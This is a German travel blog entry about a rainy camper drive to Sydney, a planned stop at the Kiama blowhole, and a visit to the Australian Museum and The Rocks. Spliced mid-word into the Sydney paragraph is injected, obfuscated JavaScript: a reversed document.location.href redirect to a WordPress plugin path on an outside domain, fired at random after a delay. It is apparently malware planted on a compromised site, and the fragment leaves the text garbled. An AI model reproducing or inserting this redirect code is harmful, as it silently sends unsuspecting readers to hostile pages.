Es regnet, daher haben wir uns früh auf den Weg gemacht.Eigentlich wollten wir in Batemans Bay eine Glasbottem-Kajak-Tour machen, aber bei dem Wetter hat das keinen Zweck. Daher sitzen wir um kurz vor zehn schon im Camper. Ich schreibe wärend der Fahrt, denn es ist genug Zeit. Bis Sydney sind es 3,5 Stunden bzw. 289 km und damit auch unsere längste Etappe.

Der Plan für heute sieht vor:

Nach halber Stecke in Kiawa bei dem Blowhole, eine Felsformation die tidenabhängig spektakulär Wasser in die Luft speit (laut Tripadvisor), eine Pause machen.

In Sydney möchten wir dann im Perry Park den Camper abstellen und mit öffentlichen Verkehrsmitteln in die Stadt. Was wir da tun ist wetterabhängig. Bei Regen gehen wir ins Autralien Museum, das älteste naturkundliche Museum der Welt mit der Geschichte der Aborigines. Bei einigermassen gutem Wetter möchten wir wie in Melbourne mit „I’m free.“ um 18 Uhr eine Tour durch The Rocks machen. Das histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torische Hafenviertel verbindet Gegenwart und Vergangenheit. Mehr können wir nach der Führung schreiben.

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Wir sind endlich da! Die Führung war super, obwohl es zu Beginn geregnet hat. Wir haben aber viel über die Entstehung von Sydney erfahren und über die Menschen, die Sydney gegründet haben. Für das Museum hatten wir leider nur eine knappe Stunde Zeit. Aber das, was wir an Eindrücken mit genommen haben, war super. Morgen geht es weiter und dann schauen wir uns die Oper etwas genauer an. Wir sind jetzt beide müde vom vielen Laufen. Daher wünschen wir:

Eine gute Nacht!